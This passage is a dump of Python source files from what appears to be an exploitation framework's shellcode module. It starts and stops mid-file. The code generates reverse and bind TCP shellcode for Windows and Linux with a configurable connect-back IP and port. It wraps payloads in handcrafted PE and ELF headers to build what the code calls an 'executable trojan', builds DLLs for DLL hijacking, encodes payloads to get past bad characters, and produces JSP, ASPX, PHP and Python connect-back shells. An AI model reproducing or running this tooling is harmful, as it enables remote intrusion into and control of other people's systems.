is_dll:\n            commands_list.append('-shared')\n        p = Popen(commands_list)\n        p.communicate()\n    else:\n        print (\"ERR: source os (%s) is not supported\" % OS_SYSTEM)\n    if os_target == Constants.OS.WINDOWS:\n        newname = c_exe + '.dll' if is_dll else c_exe + '.exe'\n        if os.path.exists(newname):\n            os.remove(newname)\n        os.rename(c_exe, newname)\n    print (\"Complete. Now you can try to execute file: %s\" % c_exe)\n\n\ndef is_os_64bit():\n    return machine().endswith('64')\n\n\ndef extract_shell_from_obj(file):\n    with open(file, 'rb') as f:\n        contents = f.read()\n    flag = contents[4]\n    if flag == '\\x01':\n        length = struct.unpack('<H', contents[124:126])[0]\n        contents = contents[272:272 + length]\n    elif flag == '\\x02':\n        length = struct.unpack('<H', contents[160:162])[0]\n        contents = contents[384:384 + length]\n    else:\n        raise Exception('Unknown architecture. Can\\'t extract shellcode')\n    print(', '.join('0x%02x' % ord(c) for c in contents))\n    return contents\n\n\ndef read_binary(filename):\n    content = ''\n    with open(filename, 'rb') as f:\n        content = f.read()\n    return content\n\n\ndef replace_by_real_values(shellcode, kwargs):\n    for key, value in kwargs.items():\n        shellcode = shellcode.replace(key, value)\n    return shellcode\n\n\ndef ip_to_hex(ip, is_big=True):\n    parts = [int(part) for part in ip.split('.')]\n    if is_big:\n        return ''.join(chr(part) for part in parts)\n    return ''.join(chr(part) for part in reversed(parts))\n\n\ndef port_to_hex(port, is_big=True):\n    if is_big:\n        return struct.pack('>H', port)\n    return struct.pack('<H', port)\n\n\ndef validate_ip_addr(addr):\n    import socket\n    try:\n        socket.inet_aton(addr)\n        return True\n    except socket.error:\n        return False\n\n\ndef ip_to_dd(addr):\n    return ''.join('%02x' % int(x) for x in reversed(addr.split('.')))\n\n\ndef port_to_dd(port):\n    return ''.join('%02x' % ord(x) for x in struct.pack('<H', port))\n"
  },
  {
    "path": "shellcodes/ShellcodeGenerator.py",
    "content": "from ShellUtils import *\nimport time\nimport os\n\n\nclass ShellGenerator:\n    def __init__(self, os_target, os_target_arch):\n        self.OS_TARGET = os_target\n        self.OS_TARGET_ARCH = os_target_arch\n        self.utils = ['nasm', 'objdump']\n        self.shellcodes_root = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data')\n        self.use_precompiled = self.check_for_system_utils()\n\n    def check_settings(self, addr, port):\n        if not hasattr(Constants.OS, self.OS_TARGET):\n            raise Exception('Can\\'t generate shellcode for OS: %s' % self.OS_TARGET)\n        if self.OS_TARGET_ARCH not in ['32bit', '64bit']:\n            raise Exception('Can\\'t generate shellcode for ARCH: %s' % self.OS_TARGET_ARCH)\n        if not validate_ip_addr(addr):\n            raise Exception('IP address %s is not valid' % addr)\n        if not 0 <= port <= 65535:\n            raise Exception('PORT %s is not valid' % port)\n\n    def check_for_system_utils(self):\n        \"\"\"Checks utils. If any util is not exists precompiled shellcodes will be used\"\"\"\n        import platform\n        if platform.system().lower() == 'windows':\n            return False\n        is_nix_cmd_exists = lambda x: any(os.access(os.path.join(path, x), os.X_OK)\n                                          for path in os.environ[\"PATH\"].split(os.pathsep))\n        for util in self.utils:\n            if not is_nix_cmd_exists(util):\n                return True\n        return False\n\n    def _make_path(self, *paths):\n        path = os.path.join(self.shellcodes_root, self.OS_TARGET)\n        if self.OS_TARGET_ARCH == Constants.OS_ARCH.X64:\n            path = os.path.join(path, 'x64')\n        if not self.use_precompiled:\n            path = os.path.join(path, 'src')\n        return os.path.join(path, *paths)\n\n    def get_shellcode(self, shellcode_type, connectback_ip=\"127.0.0.1\", connectback_port=5555, make_exe=0, debug=0,\n                      filename=\"\", dll_inj_funcs=None, shell_args=None, use_precompiled=True):\n        if shell_args is None:\n            shell_args = {}\n        if dll_inj_funcs is None:\n            dll_inj_funcs = []\n        self.check_settings(connectback_ip, connectback_port)\n        filepath = ''\n        if self.use_precompiled:\n            print 'Some utils needed for shellcode compilation are not found. Only precompiled shellcodes can be used.'\n        self.use_precompiled = use_precompiled or self.use_precompiled\n        ext = '.bin' if self.use_precompiled else '.asm'\n        if shellcode_type == Constants.ShellcodeConnection.BIND:\n            path = self._make_path('bind_tcp' + ext)\n            if self.use_precompiled:\n                values = dict(BIND_PORT=port_to_hex(connectback_port))\n            else:\n                values = dict(BIND_PORT=port_to_dd(connectback_port))\n        elif shellcode_type == Constants.ShellcodeConnection.REVERSE:\n            path = self._make_path('reverse_tcp' + ext)\n            if self.use_precompiled:\n                values = dict(CONNECTBACK_IP=ip_to_hex(connectback_ip),\n                              CONNECTBACK_PORT=port_to_hex(connectback_port))\n            else:\n                values = dict(CONNECTBACK_IP=ip_to_dd(connectback_ip),\n                              CONNECTBACK_PORT=port_to_dd(connectback_port))\n        # handle custom shellcode\n        else:\n            path = os.path.join(self.shellcodes_root, shellcode_type + ext)\n            values = shell_args\n        shell = self.read_and_replace(path, values, use_precompiled)\n        if not self.use_precompiled:\n            shell, filepath = create_shellcode(shell, self.OS_TARGET, self.OS_TARGET_ARCH, make_exe,\n                                               debug=debug, filename=filename, dll_inj_funcs=dll_inj_funcs)\n        if debug:\n            print('Shellcode generated with length=%s' % len(shell))\n            print(''.join('\\\\x%02x' % ord(c) for c in shell))\n        if (make_exe or dll_inj_funcs) and self.use_precompiled:\n            exe_gen = ShellcodeToExe(shell, self.OS_TARGET, self.OS_TARGET_ARCH,\n                                     filename=filename, dll_inj_funcs=dll_inj_funcs)\n            if make_exe:\n                filepath = exe_gen.create_executable()\n                if debug:\n                    print 'Executable trojan is generated: %s' % filepath\n            if dll_inj_funcs:\n                filepath = exe_gen.create_executable()\n                if debug:\n                    print 'DLL is generated: %s' % filepath + '.dll'\n        return shell, filepath\n\n    def read_and_replace(self, path, values, use_precompiled):\n        to_hex = lambda data: ''.join('\\\\x%02x' % ord(x) for x in data)\n        with open(path, 'rb') as f:\n            shell = f.read()\n        for key, value in values.items():\n            if use_precompiled:\n                value = to_hex(value)\n            shell = shell.replace(key, value)\n        if use_precompiled:\n            shell = shell.replace('\\\\x', '').decode('hex')\n        return shell\n\n\nclass ShellcodeToExe:\n    def __init__(self, shellcode, target_os, target_arch, filename='', dll_inj_funcs=''):\n        self.shellcode = shellcode\n        self.target_os = target_os\n        self.target_arch = target_arch\n        self.dll_inj_funcs = dll_inj_funcs\n        self.filename = filename if filename else time.strftime('%Y%m%d%H%M%S', time.gmtime())\n        self.path = Constants.TMP_DIR\n\n    def mkdirs(self):\n        if not os.path.exists(self.path):\n            os.mkdir(self.path)\n\n    def create_win_x86_exe(self):\n        header = '\\x4d\\x5a\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\x09\\xcd' \\\n                 '\\x21\\xb8\\x01\\x4c\\xcd\\x21\\x54\\x68\\x69\\x73\\x20\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x20\\x63\\x61\\x6e\\x6e\\x6f' \\\n                 '\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6e\\x20\\x69\\x6e\\x20\\x44\\x4f\\x53\\x20\\x6d\\x6f\\x64\\x65\\x2e\\x0d\\x0d\\x0a' \\\n                 '\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4c\\x01\\x02\\x00\\xd3\\x7c\\xb5\\x58\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\xe0\\x00\\x0f\\x03\\x0b\\x01\\x02\\x1b\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 '\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 '\\x1a\\x89\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x14\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00\\x00' \\\n                 '\\x63\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x20\\x00\\x50\\x60\\x2e\\x69\\x64\\x61\\x74\\x61\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x20\\x00\\x00' \\\n                 '\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x30\\xc0' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        data += '\\xFF' * 4 + '\\x00' * 4 + '\\xFF' * 4\n        data = data.ljust(1536, '\\x00')\n        return data\n\n    def create_win_x86_64_exe(self):\n        header = '\\x4d\\x5a\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\x09\\xcd' \\\n                 '\\x21\\xb8\\x01\\x4c\\xcd\\x21\\x54\\x68\\x69\\x73\\x20\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x20\\x63\\x61\\x6e\\x6e\\x6f' \\\n                 '\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6e\\x20\\x69\\x6e\\x20\\x44\\x4f\\x53\\x20\\x6d\\x6f\\x64\\x65\\x2e\\x0d\\x0d\\x0a' \\\n                 '\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x64\\x86\\x02\\x00\\xe8\\x5d\\xb6\\x58\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\xf0\\x00\\x2f\\x02\\x0b\\x02\\x02\\x1b\\x00\\x04\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 '\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 '\\x9a\\x9e\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00\\x00\\x20\\x02\\x00\\x00\\x00\\x10\\x00\\x00' \\\n                 '\\x00\\x04\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x50\\x60' \\\n                 '\\x2e\\x69\\x64\\x61\\x74\\x61\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x06\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x30\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        data += '\\x00' * 7 + '\\xFF' * 8 + '\\x00' * 8 + '\\xFF' * 8\n        data = data.ljust(2048, '\\x00')\n        return data\n\n    def create_linux_x86_exe(self):\n        header = '\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00' \\\n                 '\\x60\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x1c\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x28\\x00' \\\n                 '\\x04\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\xff\\x10\\x00\\x00' \\\n                 '\\xff\\x10\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        return data\n\n    def create_linux_x86_64_exe(self):\n        header = '\\x7f\\x45\\x4c\\x46\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x3e\\x00\\x01\\x00\\x00\\x00' \\\n                 '\\x80\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x01\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x40\\x00\\x38\\x00\\x01\\x00\\x40\\x00\\x04\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\xff\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        data = header + self.shellcode\n        return data\n\n    def create_x86_dll(self):\n        if self.target_arch == Constants.OS_ARCH.X64:\n            print 'Can\\'t create dll for x64 arch. Only x86 arch is supported.'\n            return\n        header = '\\x4d\\x5a\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\x09\\xcd' \\\n                 '\\x21\\xb8\\x01\\x4c\\xcd\\x21\\x54\\x68\\x69\\x73\\x20\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x20\\x63\\x61\\x6e\\x6e\\x6f' \\\n                 '\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6e\\x20\\x69\\x6e\\x20\\x44\\x4f\\x53\\x20\\x6d\\x6f\\x64\\x65\\x2e\\x0d\\x0d\\x0a' \\\n                 '\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4c\\x01\\x03\\x00\\x9e\\xa7\\xb6\\x58\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\xe0\\x00\\x0e\\x23\\x0b\\x01\\x02\\x1b\\x00\\x02\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00' \\\n                 '\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x04\\x00\\x00' \\\n                 '\\xe2\\x9e\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\xff\\x0e\\x00\\x00\\x00\\x30\\x00\\x00\\x14\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00\\x00' \\\n                 '\\x54\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n                 '\\x00\\x00\\x00\\x00\\x20\\x00\\x50\\x60\\x2e\\x65\\x64\\x61\\x74\\x61\\x00\\x00\\xff\\x0e\\x00\\x00\\x00\\x20\\x00\\x00' \\\n                 '\\x00\\x04\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x30\\x40' \\\n                 '\\x2e\\x69\\x64\\x61\\x74\\x61\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x30\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x0a'\n        header += '\\x00' * 546\n        data = header + self.shellcode\n        data += '\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff'\n        data = data.ljust(1536, '\\x00')\n        data += '\\x00' * 16\n        data += '\\x01\\x00\\x00\\x00'\n        data += struct.pack('<I', len(self.dll_inj_funcs)) + struct.pack('<I', len(self.dll_inj_funcs))\n        data += '\\x28\\x20\\x00\\x00'\n        data += struct.pack('B', 0x28 + len(self.dll_inj_funcs) * 4) + '\\x20\\x00\\x00'\n        data += struct.pack('B', 0x28 + len(self.dll_inj_funcs) * 8) + '\\x20\\x00\\x00'\n        data += '\\x00\\x10\\x00\\x00' * len(self.dll_inj_funcs)\n        base = 0x2100 + len(self.filename) - 1\n        data += struct.pack('<H', base) + '\\x00\\x00'\n        for func_name in self.dll_inj_funcs[:-1]:\n            base += len(func_name) + 1\n            data += struct.pack('<H', base) + '\\x00\\x00'\n        for i in range(len(self.dll_inj_funcs)):\n            data += struct.pack('<H', i)\n        data += self.filename + '.dll\\x00'\n        for func_name in self.dll_inj_funcs:\n            data += func_name + '\\x00'\n        data = data.ljust(3072, '\\x00')\n        path = os.path.join(self.path, self.filename)\n        self.write_file(data, path + '.dll')\n        return path\n\n    def create_executable(self):\n        self.mkdirs()\n        ext = ''\n        path = os.path.join(self.path, self.filename)\n        if self.target_os == Constants.OS.LINUX:\n            if self.target_arch == Constants.OS_ARCH.X64:\n                exe_code = self.create_linux_x86_64_exe()\n            else:\n                exe_code = self.create_linux_x86_exe()\n        elif self.target_os == Constants.OS.WINDOWS:\n            ext = '.exe'\n            if self.target_arch == Constants.OS_ARCH.X64:\n                exe_code = self.create_win_x86_64_exe()\n            else:\n                exe_code = self.create_win_x86_exe()\n        else:\n            print 'OS %s is not supported' % self.target_os\n            return\n        self.write_file(exe_code, path + ext)\n        return path\n\n    def write_file(self, data, path):\n        with open(path, 'wb') as f:\n            f.write(data)\n        print 'File %s is created' % path\n\n\nif __name__ == '__main__':\n    pass\n"
  },
  {
    "path": "shellcodes/Shellcodes.py",
    "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport base64\n\neast_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"../\")\nsys.path.append(east_path)\nfrom platform import system, architecture\nfrom ShellcodeGenerator import ShellGenerator\nfrom Encoders import *\nfrom JavaShellcode import JavaShellcodes\nfrom PhpShellcode import PhpShellcodes\nfrom PythonShellcode import PythonShellcodes\nfrom DotNetShellcode import AspxShellcode\n\n\nclass OSShellcodes:\n    \"\"\"\n        Class with shellcodes for operating systems (Linux, Windows, etc)\n    \"\"\"\n\n    def __init__(self, OS_TARGET, OS_TARGET_ARCH, CONNECTBACK_IP='localhost', CONNECTBACK_PORT=5555, BADCHARS=['\\x00']):\n        \"\"\"\n        Initializes object OSShellcodes.\n        :param OS_TARGET: (string) \"WINDOWS\" or \"LINUX\"\n        :param OS_TARGET_ARCH: (string) \"32bit\" or \"64bit\"\n        :param CONNECTBACK_IP: (string) Ip address of machine with enabled shell listener\n        :param CONNECTBACK_PORT: (int) Port where listener listen to connection.\n        :param BADCHARS: (list of strings) Badchars for encoder\n        :return:\n        \"\"\"\n        self.name = \"\"\n        self.OS_TARGET = OS_TARGET\n        self.OS_TARGET_ARCH = OS_TARGET_ARCH\n        self.CONNECTBACK_IP = CONNECTBACK_IP\n        self.CONNECTBACK_PORT = CONNECTBACK_PORT\n        self.BADCHARS = BADCHARS\n        self.OS_SYSTEM = system().upper()\n        self.OS_ARCH = (architecture())[0]\n        self.binary_path = \"\"\n        return\n\n    def create_shellcode(self, _shellcode_type='reverse', command='calc.exe', message='', encode=None, make_exe=0,\n                         debug=0, filename=\"\", dll_inj_funcs=[], shell_args={},\n                         use_precompiled=True):\n        \"\"\"\n        Function for create shellcode.\n        :param _shellcode_type: (string) Can be \"reverse\" or \"bind\".\n        :param command: (string) Command for Windows command-shellcode.\n        :param message: (string) Message for \"message\" for message-shellcode.\n        :param encode: (string) Encoder type. Can be \"xor\", \"alphanum\", \"rot_13\", \"fnstenv\" or \"jumpcall\". If empty shellcode will not be encoded.\n        :param make_exe: (bool) or (int) If True(or 1) exe file will be generated from shellcode.\n        :param debug: (bool) or (int) If True(or 1) shellcode will be printed to stdout.\n        :param filename: (string) Used for assign special name to executable or dll shellcode.\n        :param dll_inj_funcs: (list of strings) Functions names for dll hijacking. If not empty dll with shellcode will be generated.\n        :param cloud_generate (bool) Used for generate shellcode on cloud server.\n        :return: (string) Generated shellcode.\n        \"\"\"\n        generator = ShellGenerator(self.OS_TARGET, self.OS_TARGET_ARCH)\n        shellcode, self.binary_path = generator.get_shellcode(_shellcode_type,\n                                                              connectback_ip=self.CONNECTBACK_IP,\n                                                              connectback_port=self.CONNECTBACK_PORT,\n                                                              make_exe=make_exe,\n                                                              debug=debug,\n                                                              filename=filename,\n                                                              dll_inj_funcs=dll_inj_funcs,\n                                                              shell_args=shell_args,\n                                                              use_precompiled=use_precompiled)\n        if encode:\n            if debug:\n                print (\"[] Encode shellcode is on and started\")\n            e = CodeEncoders(self.OS_SYSTEM, self.OS_TARGET, self.OS_TARGET_ARCH, self.BADCHARS)\n            e_shellcode = e.encode_shellcode(shellcode, encode, debug)\n\n            if debug:\n                print (\"Length of encoded shellcode: %d\") % len(e_shellcode)\n                print (\"[] Encode shellcode finished\")\n            if e_shellcode:\n                shellcode = e_shellcode\n        else:\n            if debug:\n                print (\"[] Encode shellcode is off\")\n        return shellcode\n\n    def get_exe_path(self):\n        if os.path.exists(self.binary_path + \".exe\"):\n            return os.path.normpath(self.binary_path + \".exe\")\n        return None\n\n    def get_dll_path(self):\n        if os.path.exists(self.binary_path + \".dll\"):\n            return os.path.normpath(self.binary_path + \".dll\")\n        return None\n\n\nclass CrossOSShellcodes:\n    def __init__(self, CONNECTBACK_IP='localhost', CONNECTBACK_PORT=5555):\n        \"\"\"\n        Class for generating shells for jsp, aspx, python, php\n        :param CONNECTBACK_IP: (string) Ip address of machine with enabled shell listener\n        :param CONNECTBACK_PORT: (int) Port where listener listen to connection.\n        \"\"\"\n        self.CONNECTBACK_IP = CONNECTBACK_IP\n        self.CONNECTBACK_PORT = CONNECTBACK_PORT\n\n    def create_shellcode(self, type, inline=False):\n        \"\"\"\n        Creates shellcode of given type\n        :param type: (string) aspx, jar, jsp, python, php\n        :param inline: (bool) If True all symbols \\r, \\n, \\t will be removed from shellcode\n        :return: (string) Generated shellcode\n        \"\"\"\n        if type == Constants.ShellcodeType.JSP:\n            shell = JavaShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT, type=Constants.ShellcodeType.JSP)\n        elif type == Constants.ShellcodeType.JAR:\n            shell = JavaShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT, type=Constants.ShellcodeType.JAR)\n        elif type == Constants.ShellcodeType.ASPX:\n            shell = AspxShellcode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        elif type == Constants.ShellcodeType.PYTHON:\n            shell = PythonShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        elif type == Constants.ShellcodeType.PHP:\n            shell = PhpShellcodes(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        else:\n            print(\"There is no shellcode of type: {}\".format(type))\n            return \"\"\n        shellcode = shell.get_shellcode(inline)\n        return shellcode\n\n\nif __name__ == \"__main__\":\n    # Example of generating shellcode for Linux/Windows\n    print (\"[] Generate shellcode 